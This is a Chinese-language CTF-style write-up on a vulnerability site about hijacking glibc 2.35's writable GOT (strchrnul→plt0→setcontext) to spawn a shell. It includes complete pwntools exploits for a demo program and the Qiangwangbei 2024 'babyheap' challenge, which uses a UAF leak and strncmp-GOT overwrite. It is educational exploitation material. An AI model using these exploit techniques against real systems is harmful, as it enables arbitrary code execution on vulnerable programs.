CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 安全资讯
  3. 正文

glibc-got攻击手法-1

2024年11月12日 192点热度 0人点赞 0条评论

libc-got攻击手法-1

这是一个很新的攻击手法,来自veritas501师傅,在去年的十二月提出的一种利用方式,

本文就是针对这位师傅的文章,进行一些攻击的总结

原理


这个libc使用的是ubuntu22.04自带的glibc2.35

可以看到,libc的保护措施,got表是可写的,而libc里面,确实会存在got表

而正如保护措施所展示,我们的got表是可写的,那这个libc的got表又是什么东西呢

我们以printf为例

__int64 printf(__int64 a1, ...)
{
  gcc_va_list va; // [rsp+0h] [rbp-D8h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-C0h]

  va_start(va, a1);
  v3 = __readfsqword(0x28u);
  return sub_75030(stdout, a1, va, 0LL);
}

这里就不放汇编了,因为太长,那么在调用printf的时候,就会调用sub_75030函数,我们进入这个函数看看

而这个函数相当于一个注册表,特别复杂,别的都不需要管,只需要知道,这个函数最后调用了strchrnul

而调用这个函数,就会调用到它的plt和got

这给了我们创造一个利用机会

大家都知道延迟绑定机制,在elf文件里面都是相同的,libc也是一个相同的延迟绑定机制,这里复习一下glibc的延迟绑定,在 glibc 中,.got.plt 表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(例如 printf)的地址,以便程序可以动态加载和调用库函数。每次程序调用库函数时,.plt 段会从 .got.plt 中获取目标地址并跳转。

而这个位置又是受到plt0的控制

也就是这里,此处push的值和jmp的地址都是从GOT0中取出来的

可以受我们控制。

这里再介绍一下setcontext函数

.text:0000000000053A00                 pop     rdx
.text:0000000000053A01                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07                 jnb     loc_53B2F
.text:0000000000053A0D                 mov     rcx, [rdx+0E0h]
.text:0000000000053A14                 fldenv  byte ptr [rcx]
.text:0000000000053A16                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D                 mov     rsp, [rdx+0A0h]
.text:0000000000053A24                 mov     rbx, [rdx+80h]
.text:0000000000053A2B                 mov     rbp, [rdx+78h]
.text:0000000000053A2F                 mov     r12, [rdx+48h]
.text:0000000000053A33                 mov     r13, [rdx+50h]
.text:0000000000053A37                 mov     r14, [rdx+58h]
.text:0000000000053A3B                 mov     r15, [rdx+60h]
.text:0000000000053A3F                 test    dword ptr fs:48h, 2
.text:0000000000053A4B                 jz      loc_53B06

.text:0000000000053B06 loc_53B06:
.text:0000000000053B06                 mov     rcx, [rdx+0A8h]
.text:0000000000053B0D                 push    rcx
.text:0000000000053B0E                 mov     rsi, [rdx+70h]
.text:0000000000053B12                 mov     rdi, [rdx+68h]
.text:0000000000053B16                 mov     rcx, [rdx+98h]
.text:0000000000053B1D                 mov     r8, [rdx+28h]
.text:0000000000053B21                 mov     r9, [rdx+30h]
.text:0000000000053B25                 mov     rdx, [rdx+88h]
.text:0000000000053B2C                 xor     eax, eax
.text:0000000000053B2E                 retn

这个函数在不同的版本有些不同,但是所差的不是很多,函数最开始是一个pop,这也就和上面的push对上了

例题

我们再来总结一下利用的思路

#include <stdio.h>
#include <unistd.h>

int main() {
    char *addr = 0;
    size_t len = 0;
    printf("%p\n", printf);
    read(0, &addr, 8);
    read(0, &len, 8);
    read(0, addr, len);
    printf("n132");
}

以这道题为例

步骤 1:劫持 strchrnul.plt 的跳转

printf 函数调用时会间接地调用 strchrnul.plt,它从 strchrnul.got 表中获取 strchrnul 函数的地址。如果我们修改 strchrnul.got 表,使其指向 plt0 的起始地址(即 .plt 的入口地址 0x28000),那么每次调用 printf 时,程序实际上会跳转到 plt0 而不是 strchrnul。

步骤 2:修改 GOT0 条目

plt0 的代码如下:

.plt:0000000000028000                 push    cs:qword_219008
.plt:0000000000028006                 bnd jmp cs:qword_219010

在 plt0 中,第一个指令是 push cs:qword_219008,即将 GOT0 的值压入栈中,而这个栈顶值会被 setcontext 的 pop rdx 所利用。因此,我们可以将 GOT0 修改为某个未使用的内存位置,以便我们可以在该位置布置 setcontext 需要的上下文数据。

随后,plt0 的第二个指令是 jmp cs:qword_219010。我们可以将 GOT0 的第二个条目修改为 setcontext gadget 的地址(例如 0x53A00),这样每次 printf 被调用时,程序将跳转到 setcontext gadget 并执行。

步骤 3:在未使用的内存空间中构造 setcontext 需要的上下文

在 GOT 表未使用的一块内存空间中,我们可以布置 setcontext 需要的上下文结构,包括 rsp、rip、rdi、rsi 和 rdx 等寄存器的值。例如:

  • 将 rsp 设置为某个位置,使得程序跳转后能继续执行。
  • 将 rip 设置为我们想要执行的函数(例如 execve),从而获得一个 shell。
  • 设置 rdi、rsi 和 rdx,以便调用 execve("/bin/sh", NULL, NULL),启动一个 shell。

步骤 4:触发 printf 调用,执行 setcontext

最后,调用 printf 函数来触发 strchrnul.plt 劫持程序流。由于 strchrnul.got 表已经被我们修改,程序将跳转到 plt0,进而调用 setcontext gadget,并执行我们布置的上下文,从而实现远程代码执行(RCE)。

我们来看看怎么写exp

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./demo")
elf=ELF("./demo")
libc.address=int(io.recv(14),16)-libc.sym['printf']
print(hex(libc.address))

我们先拿到程序的libc地址

got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr

# 计算 write_dest 和 context_dest
write_dest = got + 8
got_count = 0x36  # 硬编码数量
context_dest = write_dest + 0x10 + got_count * 8

然后是got和plt地址,以及写入位置,当然这里还需要解释一下这两个地址的具体含义

write_dest = got + 8:

  • got 是 .got.plt(Global Offset Table)的起始地址,got + 8 是跳过 GOT 表的前 8 个字节,选择一个新的位置作为写入的目标地址 write_dest。
  • 这个地址通常会用作将 payload 写入的地方。

got_count = 0x36:

  • got_count 是一个硬编码的数量,表示 .plt 表中函数的数量,或者 .got 表中实际被占用的条目数量(在这种情况下是 0x36,即 54 个条目)。
  • 这个数量会影响我们要构造多少条目的数据。

context_dest = write_dest + 0x10 + got_count * 8:

  • context_dest 是 setcontext 的伪造上下文结构的存放位置。
  • 具体计算如下:
    • write_dest + 0x10 是为了跳过 write_dest 后的 16 个字节空间,这样可以避免冲突或覆盖。
    • got_count 8 是在 write_dest + 0x10 的基础上,再向后偏移 got_count 8字节的空间。
      • 每个 plt 表条目占用 8 个字节,所以这里 got_count * 8 是为了确保我们构造的伪造数据不与 GOT/PLT 表的数据冲突。
  • context_dest 最终是 write_dest 之后一段足够大的地址,用于放置 setcontext 需要的伪造上下文数据。

然后写我们的payload

ucontext_structure = flat({
    0x28: libc.sym['environ'] + 8,                # r8
    0x30: 0,                                      # r9
    0x48: 0,                                      # r12
    0x50: 0,                                      # r13
    0x58: 0,                                      # r14
    0x60: 0,                                      # r15
    0x68: next(libc.search(b"/bin/sh")),          # rdi ("/bin/sh" 字符串地址)
    0x70: 0,                                      # rsi
    0x78: 0,                                      # rbp
    0x80: 0,                                      # rbx
    0x88: 0,                                      # rdx
    0x98: 0,                                      # rcx
    0xA0: libc.sym['environ'] + 8,                # rsp (栈指针)
    0xA8: libc.sym['execve'],                     # rip (ret ptr)
    0xE0: context_dest,                           # fldenv ptr (上下文环境地址)
    0x1C0: 0x1F80,                                # ldmxcsr 控制寄存器的值
}, filler=b'\x00', word_size=64)

这里先布置好setcontext的结构体函数

payload = flat(
    context_dest,                                # 上下文地址
    libc.symbols["setcontext"] + 32,             # setcontext 的地址偏移
    [plt0] * got_count,                          # 重复 plt0 多次
    ucontext_structure                            # 手动构建的 ucontext 结构
)

然后发送过去

io.send(p64(write_dest))
io.send(p64(len(payload)))
io.send(payload)

这样就拿到了shell

我们来gdb调试看看

然后看我们输入的位置

那这里

就是我们的plt表附近

当我们输入完成之后,再次调用printf的时候

就会产生跳转,最后get shell

强网杯2024-babyheap

其实这个题目和上面说的不太一样,只是因为确实利用到了改got表的攻击,所以这里依然提到了

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_177E(a1, a2, a3);
  sub_1681();
  sub_1409();
  while ( 1 )
  {
    sub_1616("Menu:\n");
    sub_1616("1. Add commodity\n");
    sub_1616("2. Delete commodity\n");
    sub_1616("3. Edit commodity\n");
    sub_1616("4. Show commodity\n");
    sub_1616("5. Secret Env\n");
    sub_1616("Enter your choice: \n");
    __isoc99_scanf("%d", &v3);
    sub_1616("---------------------------------------------------------------\n");
    switch ( v3 )
    {
      case 1:
        sub_17C5();
        break;
      case 2:
        sub_1922();
        break;
      case 3:
        sub_1B1D();
        break;
      case 4:
        sub_19FD();
        break;
      case 5:
        sub_1DAA();
        break;
      default:
        sub_1C99();
        sub_1616("Maybe you've done something bad \n");
        sub_1616("But how can you cat flag ? \n");
        break;
    }
  }
}

程序的主要逻辑基本就是这样,简单梳理一下,题目存在申请任意大小的堆块

但是最多申请五个,在delete函数里面存在uaf,show函数不会\x00截断

在deafult里面的1c99里面存在一个任意地址写

__int64 sub_1C99()
{
  if ( dword_5068 )
    exit(1);
  sub_1616("Wow ! You find my secret shop !\n");
  sub_1616("But ! It's not so easy to get my secret \n");
  sub_1616("  /\\_/\\  \n");
  sub_1616(" ( o.o ) \n");
  sub_1616("  > ^ <  \n");
  sub_1616("Input your target addr \n");
  read(0, &buf, 8uLL);
  sub_1C33();
  read(0, buf, 0x10uLL);
  return (unsigned int)++dword_5068;
}

但是在1c33这个函数里面

void *sub_1C33()
{
  void *result; // rax

  if ( stdin <= buf && &stdin[512] > buf )
    exit(1);
  result = buf;
  if ( &stdin[-2206368] > buf )
    exit(1);
  return result;
}

存在一个检查,这个检查会看你的任意地址是不是在io结构体附近,这样也就堵住了任意地址写io的操作,这题当然可以使用io的打法,但是题目里面还有一个函数

unsigned __int64 sub_1DAA()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_506C )
  {
    sub_1616("What ! Are you kidding me ? \n");
    exit(1);
  }
  dword_506C = 1;
  sub_1616("What do you want from the environment ? \n");
  sub_1616("Maybe you will be sad !\n");
  __isoc99_scanf("%d", &v1);
  if ( v1 == 3 )
  {
    setenv("USER", "flag?", 1);
  }
  else
  {
    if ( v1 > 3 )
      goto LABEL_11;
    if ( v1 == 1 )
    {
      sub_1D5D();
    }
    else
    {
      if ( v1 != 2 )
LABEL_11:
        exit(1);
      putenv("USER=flag?");
    }
  }
  return v2 - __readfsqword(0x28u);
}

在选择5里面会存在这些函数,其中的重点是putenv函数

putenv 函数是一个用于设置或修改环境变量的 C 标准库函数。它的功能是将指定的环境变量加入到当前进程的环境中,或修改已有的环境变量。

在 <stdlib.h> 头文件中声明:

int putenv(char *string);

string 是一个指向 "name=value" 格式字符串的指针,name 是环境变量的名称,value 是该变量的值。

putenv 不会复制传入的字符串,而是直接使用该字符串的地址。因此,修改传入的字符串会影响环境变量的内容。

putenv 的实现依赖于修改进程的环境变量表(environ 数组)。具体实现可能会根据系统和 C 库的不同有所变化,但通常的流程如下:

  1. 解析输入字符串:检查输入的字符串是否为 "name=value" 格式,确保变量名和赋值内容有效。
  2. 搜索和替换:
    • 如果环境变量表中已有同名变量,则将该变量的值替换为新值。
    • 如果没有该变量,则创建一个新的 "name=value" 字符串并添加到环境变量表中。
  3. 扩展环境变量表(如果需要):
    • 在某些实现中,如果环境变量表已经满了,putenv 可能会重新分配内存,扩展 environ 数组。
    • 例如,glibc 中的实现会动态调整 environ 数组的大小,以适应新的变量。

注意事项

  • putenv 会直接使用传入的字符串指针,因此不要在调用 putenv 之后修改该字符串。
  • putenv 修改环境变量的效果仅限于当前进程及其子进程,不会影响父进程或其他进程。

当然以上我们只是简单介绍一下

重点其实是getenv函数内部是依靠strncmp函数实现的,那么我们只要把strncmp函数的got改成printf函数,就可以带出flag文件

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

io = process(
    ["/home/pwn/game/qwb24/babyheap/ld-linux-x86-64.so.2", "./pwn"],
    env={"LD_PRELOAD": "/home/pwn/game/qwb24/babyheap/libc-2.35.so"},
)

libc = ELF("libc-2.35.so")


def dbg():
    gdb.attach(io)


def add(size):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(1))
    io.recvuntil(b"Enter your commodity size \n")
    io.sendline(str(size))


def free(idx):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(2))
    io.recvuntil(b"Enter which to delete: \n")
    io.sendline(str(idx))


def edit(idx, content):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(3))
    io.recvuntil(b"Enter which to edit: \n")
    io.sendline(str(idx))
    io.recvuntil(b"Input the content\n")
    io.sendline(content)


def show(idx):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(4))
    io.recvuntil(b"Enter which to show: \n")
    io.sendline(str(idx))


def sec(idx):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(5))
    io.recvuntil(b"Maybe you will be sad !\n")
    io.sendline(str(idx))


def mi(addr, content):
    io.recvuntil(b"Enter your choice: \n")
    io.sendline(str(6))
    io.recvuntil(b"Input your target addr \n")
    io.send(addr)
    io.send(content)


add(0x518)  # 1
add(0x500)  # 2
free(1)
add(0x528)  # 3
show(1)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21B110
info("libc base: " + hex(libc.address))
io.recv(10)
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x1950
info("heap base: " + hex(heap_base))
strncmp_got = libc.address + 0x21A018 + (0x8 * 32)
mi(p64(strncmp_got), p64(libc.sym["printf"]))
sec(2)
# dbg()
io.interactive()

参考文章

https://veritas501.github.io/2023_12_07-glibc_got_hijack%E5%AD%A6%E4%B9%A0/

标签: 暂无
最后更新:2024年11月12日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me